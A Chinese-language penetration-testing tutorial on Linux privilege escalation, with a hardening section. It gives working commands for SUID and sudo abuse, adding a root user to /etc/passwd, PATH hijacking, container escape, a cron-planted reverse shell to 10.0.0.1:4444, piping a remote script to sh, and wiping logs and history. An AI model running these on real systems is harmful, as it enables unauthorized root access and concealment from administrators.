1. Linux权限提升概述
在Linux系统管理领域,权限提升是每个运维人员和安全工程师必须掌握的核心技能。我从事Linux系统运维工作已有八年时间,处理过数百次权限提升需求,从简单的sudo配置到复杂的内核漏洞利用都曾遇到过。这份笔记将系统梳理我在实际工作中验证过的各类权限提升方法,包含详细的原理说明和实战技巧。
Linux系统的权限模型基于用户和组的概念,通过UID/GID和文件权限位实现访问控制。当普通用户需要执行超出自身权限范围的操作时,就需要通过特定机制提升权限。常见的合法提升方式包括su、sudo、setuid程序等,而渗透测试中则会利用配置错误或系统漏洞进行非授权提升。
重要提示:本文所述技术仅限用于合法授权的系统维护和渗透测试,未经许可对他人系统进行权限提升可能涉及法律风险。
2. 合法权限提升途径
2.1 sudo机制详解
sudo是最常用的临时权限提升方式,其核心配置文件是/etc/sudoers。通过visudo命令编辑该文件是最安全的做法,因为它会进行语法检查。一个典型的授权配置如下:
code复制username ALL=(ALL:ALL) NOPASSWD: /usr/bin/apt update
这条规则允许username用户以任意用户和组的身份执行apt update命令且无需输入密码。我在实际运维中发现几个常见问题:
- 通配符滥用:如
/usr/bin/*这样的配置可能被利用 - 环境变量继承:通过
env_keep配置不当可能导致提权 - 缺少密码验证:NOPASSWD选项在不需要频繁执行的命令上使用有风险
2.2 SUID程序利用
SUID位(setuid)是Linux文件权限的特殊标志,当程序设置了SUID位时,运行时会以文件所有者的权限执行。常见的SUID程序包括:
code复制-rwsr-xr-x 1 root root 31K Mar 5 2021 /usr/bin/passwd
-rwsr-xr-x 1 root root 44K Mar 5 2021 /usr/bin/sudo
查找系统中所有SUID程序的方法:
bash复制find / -perm -4000 -type f 2>/dev/null
我曾遇到一个典型案例:某老旧版本的nmap安装了SUID版本,可以通过--interactive参数获得root shell:
bash复制nmap --interactive
nmap> !sh
3. 配置错误导致的提权
3.1 可写敏感文件
当关键系统文件权限设置不当时,可能被普通用户修改实现提权。需要重点检查的文件包括:
- /etc/passwd 和 /etc/shadow
- /etc/sudoers 和 /etc/sudoers.d/*
- cron任务文件 (/etc/crontab, /var/spool/cron/)
- 系统服务配置文件 (/etc/systemd/system/)
一个实际案例:某服务器的/etc/passwd全局可写,可以通过添加root权限用户实现提权:
bash复制# 生成密码为"hacked"的加密字符串
openssl passwd -1 -salt abc hacked
# 在passwd文件添加新root用户
echo 'hacker:$1$abc$Tg2L5UZzpgWQq8D2Fiz3X0:0:0::/root:/bin/bash' >> /etc/passwd
3.2 环境变量劫持
当程序以高权限运行但未正确设置环境变量时,可能被PATH等变量劫持。我曾通过以下步骤利用一个备份脚本:
- 发现root定期执行的脚本调用了
tar但未使用绝对路径 - 在用户目录创建恶意tar程序:
bash复制echo '/bin/bash -p' > /tmp/tar
chmod +x /tmp/tar
- 修改PATH变量:
bash复制export PATH=/tmp:$PATH
4. 内核漏洞提权
4.1 漏洞检测与利用
内核漏洞是最高效的提权方式,但需要匹配系统内核版本。检测当前内核信息的命令:
bash复制uname -a
cat /proc/version
常见的提权漏洞包括:
- Dirty Pipe (CVE-2022-0847)
- Dirty COW (CVE-2016-5195)
- Sudo Baron Samedit (CVE-2021-3156)
利用步骤通常为:
- 下载对应漏洞的exploit代码
- 在目标系统编译执行
- 获取root shell
经验之谈:生产环境中发现内核漏洞应立即打补丁,测试环境中使用exploit前务必先备份重要数据。
4.2 容器逃逸技术
在容器化环境中,权限提升可能演变为容器逃逸。我曾成功利用的几种方法:
- 特权容器滥用:
bash复制# 检查是否特权容器
cat /proc/self/status | grep CapEff
# 如果返回0000003fffffffff则表示是特权容器
# 可直接挂载宿主机根目录
mkdir /mnt/host
mount /dev/sda1 /mnt/host
- Docker.sock挂载:
bash复制# 当/var/run/docker.sock被挂载到容器中时
# 可在容器内安装docker客户端操作宿主机
docker -H unix:///var/run/docker.sock run -it -v /:/host ubuntu chroot /host bash
5. 自动化工具使用
5.1 LinPEAS
LinPEAS是最流行的Linux提权辅助脚本,可自动检测系统中的提权路径:
bash复制curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
它主要检查:
- 内核漏洞
- SUID/SGID文件
- 可写配置文件
- 环境变量问题
- 计划任务
- 安装的软件版本
5.2 Linux Exploit Suggester
该工具可根据系统信息推荐可能的exploit:
bash复制perl linux-exploit-suggester.pl -k 3.16.0
输出会列出匹配的CVE编号和利用难度评级,是渗透测试中的利器。
6. 防御与加固建议
根据多年运维经验,我总结了几条有效的防御措施:
-
最小权限原则:
- 只给用户必要的sudo权限
- 避免使用ALL=(ALL:ALL)这样的宽泛授权
-
定期审计:
bash复制# 检查新增的SUID文件 find / -perm -4000 -type f -exec ls -la {} \; > /tmp/suid_list.txt # 比较两次审计结果 diff /tmp/suid_list.txt /var/log/suid_audit.log -
及时更新:
- 保持系统和软件为最新版本
- 特别关注已公开的提权漏洞补丁
-
文件完整性监控:
bash复制# 使用aide等工具建立基线 aide --init # 定期检查变更 aide --check -
限制危险功能:
- 禁用不必要的setuid程序
- 限制容器的特权模式
- 控制PATH等环境变量
7. 实战案例解析
7.1 Cron Job提权
某次渗透测试中发现目标系统存在以下cron任务:
code复制* * * * * root /opt/scripts/backup.sh
检查发现backup.sh全局可写,于是插入反弹shell代码:
bash复制echo 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' >> /opt/scripts/backup.sh
一分钟后成功获取root权限的shell。
7.2 Capabilities滥用
现代Linux提供了更细粒度的capabilities机制。曾遇到一个案例:
bash复制getcap -r / 2>/dev/null
/usr/bin/ping = cap_net_raw+ep
/usr/bin/python3.8 = cap_setuid+ep
利用具有cap_setuid能力的python直接提权:
python复制import os
os.setuid(0)
os.system('/bin/bash')
8. 高级技巧与经验
-
受限shell逃逸:
当被困在rbash等受限shell时,可以尝试:bash复制export PATH=/usr/bin:/bin vi :!/bin/bash -
密码哈希破解:
获取/etc/shadow后可使用john工具破解:bash复制
unshadow passwd shadow > hashes john --wordlist=rockyou.txt hashes -
内核模块注入:
当有加载内核模块权限时:bash复制# 编译恶意的.ko文件 insmod exploit.ko -
日志清理技巧:
bash复制# 清除当前用户的命令历史 history -c # 清空系统日志(需root) echo > /var/log/auth.log
在实际工作中,每个系统的环境都不尽相同,需要根据具体情况灵活运用这些技术。我建议建立一个自己的提权检查清单,按照以下顺序进行检查:
- 基础信息收集(内核版本、安装的软件等)
- sudo配置检查
- SUID/SGID文件审计
- 可写文件与目录检查
- 计划任务与服务检查
- 环境变量与路径检查
- 内核漏洞匹配
- 容器逃逸可能性评估
最后提醒一点:在合法授权的测试中,获取root权限后应立即记录漏洞细节并恢复系统,避免对生产环境造成不必要的影响。